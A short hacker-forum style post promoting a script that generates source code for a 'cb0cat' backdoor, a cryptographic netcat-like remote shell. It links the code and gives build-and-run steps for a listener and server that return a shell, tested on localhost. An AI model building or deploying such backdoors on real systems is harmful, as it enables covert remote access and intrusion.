Here is a script I made the other day for generating cb0cat backdoor source code.
https://github.com/d4rkcat/cbd00r[gist]d4rkcat/8228437[/gist]
cb0cat is an uber cool lightweight cryptographic netcat.
For more information about cb0cat, check out
https://www.cblnk.com/cb0cat/The script is very simple to use, to test it you can
./cbd00r.py -c localhost
tar xf listener.tar.gz
tar xf server.tar.gz
cd srv;make clean
cd ../lst;make clean
./listener
Then run the server in another terminal and you should get the shell back at the listener.
Happy Hacking!